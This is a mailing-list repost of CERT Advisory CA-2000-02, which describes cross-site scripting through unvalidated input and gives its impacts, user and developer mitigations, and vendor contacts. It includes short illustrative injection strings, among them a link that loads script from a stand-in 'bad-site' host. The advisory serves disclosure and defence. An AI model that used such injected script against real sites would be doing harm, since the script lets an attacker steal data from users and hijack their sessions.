CERT Advisory CA-2000-02

please forgive this long posting as it impacts us all.
CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
Requests

This advisory is being published jointly by the CERT Coordination
Center,
DoD-CERT, the DoD Joint Task Force for Computer Network Defense
(JTF-CND),
the Federal Computer Incident Response Capability (FedCIRC), and the
National Infrastructure Protection Center (NIPC).

   Original release date: February 2, 2000
   
   A complete revision history is at the end of this file.
   
Systems Affected

     * Web browsers
     * Web servers that dynamically generate pages based on
unvalidated
       input
       
Overview

   A web site may inadvertently include malicious HTML tags or script
in
   a dynamically generated page based on unvalidated input from
   untrustworthy sources. This can be a problem when a web server does
   not adequately ensure that generated pages are properly encoded to
   prevent unintended execution of scripts, and when input is not
   validated to prevent malicious HTML from being presented to the
user.
   
I. Description

Background

   Most web browsers have the capability to interpret scripts embedded
in
   web pages downloaded from a web server. Such scripts may be written
in
   a variety of scripting languages and are run by the client's
browser.
   Most browsers are installed with the capability to run scripts
enabled
   by default.
   
Malicious code provided by one client for another client

   Sites that host discussion groups with web interfaces have long
   guarded against a vulnerability where one client embeds malicious
HTML
   tags in a message intended for another client. For example, an
   attacker might post a message like
   
   Hello message board. This is a message.
          <SCRIPT>malicious code</SCRIPT>
          This is the end of my message.
          
   When a victim with scripts enabled in their browser reads this
   message, the malicious code may be executed unexpectedly. Scripting
   tags that can be embedded in this way include <SCRIPT>, <OBJECT>,
   <APPLET>, and <EMBED>.
   
   When client-to-client communications are mediated by a server, site
   developers explicitly recognize that data input is untrustworthy
when
   it is presented to other users. Most discussion group servers
either
   will not accept such input or will encode/filter it before sending
   anything to other readers.
   
Malicious code sent inadvertently by a client for itself

   Many Internet web sites overlook the possibility that a client may
   send malicious data intended to be used only by itself. This is an
   easy mistake to make. After all, why would a user enter malicious
code
   that only the user will see?
   
   However, this situation may occur when the client relies on an
   untrustworthy source of information when submitting a request. For
   example, an attacker may construct a malicious link such as
   
   <A HREF="http://example.com/comment.cgi?
mycomment=<SCRIPT>malicious
          code</SCRIPT>"> Click here</A>
          
   When an unsuspecting user clicks on this link, the URL sent to
   example.com includes the malicious code. If the web server sends a
   page back to the user including the value of mycomment, the
malicious
   code may be executed unexpectedly on the client. This example also
   applies to untrusted links followed in email or newsgroup messages.
   
Abuse of Other Tags

   In addition to scripting tags, other HTML tags such as the <FORM>
tag
   have the potential to be abused by an attacker. For example, by
   embedding malicious <FORM> tags at the right place, an intruder can
   trick users into revealing sensitive information by modifying the
   behavior of an existing form. Other HTML tags can also be abused to
   alter the appearance of the page, insert unwanted or offensive
images
   or sounds, or otherwise interfere with the intended appearance and
   behavior of the page.
   
Abuse of Trust

   At the heart of this vulnerability is the violation of trust that
   results from the "injected" script or HTML running within the
security
   context established for the example.com site. It is, presumably, a
   site the browser victim is interested in enough to visit and
interact
   with in a trusted fashion. In addition, the security policy of the
   legitimate server site example.com may also be compromised.
   
   This example explicitly shows the involvement of two sites:
   
   <A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT
          SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>
          
   Note the SRC attribute in the <SCRIPT> tag is explicitly
incorporating
   code from a presumably unauthorized source (bad-site). Both of the
   previous examples show violations of the same-source origination
   policy fundamental to most scripting security models:
   
   Netscape Communicator Same Origin Policy
          Microsoft Scriptlet Security
          
   Because one source is injecting code into pages sent by another
   source, this vulnerability has also been described as "cross-site"
   scripting.
   
   At the time of publication, malicious exploitation of this
   vulnerability has not been reported to the CERT/CC. However,
because
   of the potential for such exploitation, we recommend that
organization
   CIOs, managers, and system administrators aggressively implement
the
   steps listed in the solution section of this document. Technical
   feedback to appropriate technical, operational, and law enforcement
   authorities is encouraged.
   
II. Impact

   Users may unintentionally execute scripts written by an attacker
when
   they follow untrusted links in web pages, mail messages, or
newsgroup
   postings. Users may also unknowingly execute malicious scripts when
   viewing dynamically generated pages based on content provided by
other
   users.
   
   Because the malicious scripts are executed in a context that
appears
   to have originated from the targeted site, the attacker has full
   access to the document retrieved, and may send data contained in
the
   page back to their site. For example, a malicious script can read
   fields in a form provided by the real server, then send this data
to
   the attacker.
   
   Alternatively, the attacker may be able to embed script code that
has
   additional interactions with the legitimate web server without
   alerting the victim. For example, the attacker could develop an
   exploit that posted data to a different page on the legitimate web
   server.
   
   Also, even if the victim's web browser does not support scripting,
an
   attacker can alter the appearance of a page, modify its behavior,
or
   otherwise interfere with normal operation.
   
   The specific impact can vary greatly depending on the language
   selected by the attacker and the configuration of any authentic
pages
   involved in the attack. Some examples that may not be immediately
   obvious are included here.
   
SSL-Encrypted Connections May Be Exposed

   The malicious script tags are introduced before the Secure Socket
   Layer (SSL) encrypted connection is established between the client
and
   the legitimate server. SSL encrypts data sent over this connection,
   including the malicious code, which is passed in both directions.
   While ensuring that the client and server are communicating without
   snooping, SSL makes no attempt to validate the legitimacy of data
   transmitted.
   
   Because there really is a legitimate dialog between the client and
the
   server, SSL reports no problems. Malicious code that attempts to
   connect to a non-SSL URL may generate warning messages about the
   insecure connection, but the attacker can circumvent this warning
   simply by running an SSL-capable web server.
   
Attacks May Be Persistent Through Poisoned Cookies

   Once malicious code is executing that appears to have come from the
   authentic web site, cookies may be modified to make the attack
   persistent. Specifically, if the vulnerable web site uses a field
from
   the cookie in the dynamic generation of pages, the cookie may be
   modified by the attacker to include malicious code. Future visits
to
   the affected web site (even from trusted links) will be compromised
   when the site requests the cookie and displays a page based on the
   field containing the code.
   
Attacker May Access Restricted Web Sites from the Client

   By constructing a malicious URL an attacker may be able to execute
   script code on the client machine that exposes data from a
vulnerable
   server inside the client's intranet.
   
   The attacker may gain unauthorized web access to an intranet web
   server if the compromised client has cached authentication for the
   targeted server. There is no requirement for the attacker to
   masquerade as any particular system. An attacker only needs to
   identify a vulnerable intranet server and convince the user to
visit
   an innocent looking page to expose potentially sensitive data on
the
   intranet server.
   
Domain Based Security Policies May Be Violated

   If your browser is configured to allow execution of scripting
   languages from some hosts or domains while preventing this access
from
   others, attackers may be able to violate this policy.
   
   By embedding malicious script tags in a request sent to a server
that
   is allowed to execute scripts, an attacker may gain this privilege
as
   well. For example, Internet Explorer security "zones" can be
subverted
   by this technique.
   
Use of Less-Common Character Sets May Present Additional Risk

   Browsers interpret the information they receive according to the
   character set chosen by the user if no character set is specified
in
   the page returned by the web server. However, many web sites fail
to
   explicitly specify the character set (even if they encode or filter
   characters with special meaning in the ISO-8859-1), leaving users
of
   alternate character sets at risk.
   
Attacker May Alter the Behavior of Forms

   Under some conditions, an attacker may be able to modify the
behavior
   of forms, including how results are submitted.
   
III. Solution

Solutions for Users

   None of the solutions that web users can take are complete
solutions.
   In the end, it is up to web page developers to modify their pages
to
   eliminate these types of problems.
   
   However, web users have two basic options to reduce their risk of
   being attacked through this vulnerability. The first, disabling
   scripting languages in their browser, provides the most protection
but
   has the side effect for many users of disabling functionality that
is
   important to them. Users should select this option when they
require
   the lowest possible level of risk.
   
   The second solution, being selective about how they initially visit
a
   web site, will significantly reduce a user's exposure while still
   maintaining functionality. Users should understand that they are
   accepting more risk when they select this option, but are doing so
in
   order to preserve functionality that is important to them.
   
   Unfortunately, it is not possible to quantify the risk difference
   between these two options. Users who decide to continue operating
   their browsers with scripting languages enabled should periodically
   revisit the CERT/CC web site for updates, as well as review other
   sources of security information to learn of any increases in threat
or
   risk related to this vulnerability.
   
Web Users Should Disable Scripting Languages in Their Browser

   Exploiting this vulnerability to execute code requires that some
form
   of embedded scripting language be enabled in the victim's browser.
The
   most significant impact of this vulnerability can be avoided by
   disabling all scripting languages.
   
   Note that attackers may still be able to influence the appearance
of
   content provided by the legitimate site by embedding other HTML
tags
   in the URL. Malicious use of the <FORM> tag in particular is not
   prevented by disabling scripting languages.
   
   Detailed instructions to disable scripting languages in your
browser
   are available from our Malicious Code FAQ:
   
   http://www.cert.org/tech_tips/malicious_code_FAQ.html
          
Web Users Should Not Engage in Promiscuous Browsing

   Some users are unable or unwilling to disable scripting languages
   completely. While disabling these scripting capabilities is the
most
   effective solution, there are some techniques that can be used to
   reduce a user's exposure to this vulnerability.
   
   Since the most significant variations of this vulnerability involve
   cross-site scripting (the insertion of tags into another site's web
   page), users can gain some protection by being selective about how
   they initially visit a web site. Typing addresses directly into the
   browser (or using securely-stored local bookmarks) is likely to be
the
   safest way of connecting to a site.
   
   Users should be aware that even links to unimportant sites may
expose
   other local systems on the network if the client's system resides
   behind a firewall, or if the client has cached credentials to
access
   other web servers (e.g., for an intranet). For this reason,
cautious
   web browsing is not a comparable substitute for disabling
scripting.
   
   With scripting enabled, visual inspection of links does not protect
   users from following malicious links, since the attackers web site
may
   use a script to misrepresent the links in users window. For
example,
   the contents of the Goto and Status bars in Netscape are
controllable
   by JavaScript.
   
Solutions for Web Page Developers and Web Site Administrators

Web Page Developers Should Recode Dynamically Generated Pages to
Validate
Output

   Web site administrators and developers can prevent their sites from
   being abused in conjunction with this vulnerability by ensuring
that
   dynamically generated pages do not contain undesired tags.
   
   Attempting to remove dangerous meta-characters from the input
stream
   leaves a number of risks unaddressed. We encourage developers to
   restrict variables used in the construction of pages to those
   characters that are explicitly allowed and to check those variables
   during the generation of the output page.
   
   In addition, web pages should explicitly set a character set to an
   appropriate value in all dynamically generated pages.
   
   Because encoding and filtering data is such an important step in
   responding to this vulnerability, and because it is a complicated
   issue, the CERT/CC has written a document which explores this issue
in
   more detail:
   
   http://www.cert.org/tech_tips/malicious_code_mitigation.html
          
Web Server Administrators Should Apply a Patch From Their Vendor

   Some web server products include dynamically generated pages in the
   default installation. Even if your site does not include dynamic
pages
   developed locally, your web server may still be vulnerable. For
   example, your server may include malicious tags in the "404 Not
Found"
   page generated by your web server.
   
   Web server administrators are encouraged to apply patches as
suggested
   by your vendor to address this problem. Appendix A contains
   information provided by vendors for this advisory. We will update
the
   appendix as we receive more information. If you do not see your
   vendor's name, the CERT/CC did not hear from that vendor. Please
   contact your vendor directly.
   
Appendix A. Vendor Information

Apache

   More information from apache can be found at
   
   http://www.apache.org/info/css-security
          
Microsoft

   Microsoft is providing information and assistance on this issue for
   its customers. This information will be posted at
   www.microsoft.com/security/.
   
Sun Microsystems, Inc.

   Please see recommendations for Java Web Server at:
   
   http://sun.com/software/jwebserver/faq/jwsca-2000-02.html
     _________________________________________________________________
   
   Our thanks to Marc Slemko, Apache Software Foundation member; Iris
   Associates; iPlanet; the Microsoft Security Response Center, the
   Microsoft Internet Explorer Security Team, and Microsoft Research.
  
______________________________________________________________________
   
   This document is available from:
   http://www.cert.org/advisories/CA-2000-02.html
  
______________________________________________________________________
   
CERT/CC Contact Information

   Email: cert@cert.org
          Phone: +1 412-268-7090 (24-hour hotline)
          Fax: +1 412-268-6989
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
          U.S.A.
          
   CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) /
EDT(GMT-4)
   Monday through Friday; they are on call for emergencies during
other
   hours, on U.S. holidays, and on weekends.
   
Using encryption

   We strongly urge you to encrypt sensitive information sent by
email.
   Our public PGP key is available from
   
   http://www.cert.org/CERT_PGP.key
       
   If you prefer to use DES, please call the CERT hotline for more
   information.
   
Getting security information

   CERT publications and other security information are available from
   our web site
   
   http://www.cert.org/
       
   To be added to our mailing list for advisories and bulletins, send
   email to cert-advisory-request@cert.org and include SUBSCRIBE
   your-email-address in the subject of your message.
   
   Copyright 2000 Carnegie Mellon University.
   Conditions for use, disclaimers, and sponsorship information can be
   found in
   
   http://www.cert.org/legal_stuff.html
       
   * "CERT" and "CERT Coordination Center" are registered in the U.S.
   Patent and Trademark Office.
  
______________________________________________________________________
   
   NO WARRANTY
   Any material furnished by Carnegie Mellon University and the
Software
   Engineering Institute is furnished on an "as is" basis. Carnegie
   Mellon University makes no warranties of any kind, either expressed
or
   implied as to any matter including, but not limited to, warranty of
   fitness for a particular purpose or merchantability, exclusivity or
   results obtained from use of the material. Carnegie Mellon
University
   does not make any warranty of any kind with respect to freedom from
   patent, trademark, or copyright infringement.
     _________________________________________________________________
   
   Revision History

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBOJhkF1r9kb5qlZHQEQL+YwCg8nUTNa/XM6vBcwGpKBz8R0nGHAoAnjbX
4nlq0j/4jMk3ozLEWrI/qIZ/
=Nc7o
-----END PGP SIGNATURE-----

---
Send your message for blinux-list to blinux-list@redhat.com
Blinux software archive at ftp://leb.net/pub/blinux
Blinux web page at http://leb.net/blinux
To unsubscribe send mail to blinux-list-request@redhat.com
with subject line: unsubscribe

Received on Thursday, 3 February 2000 08:48:45 UTC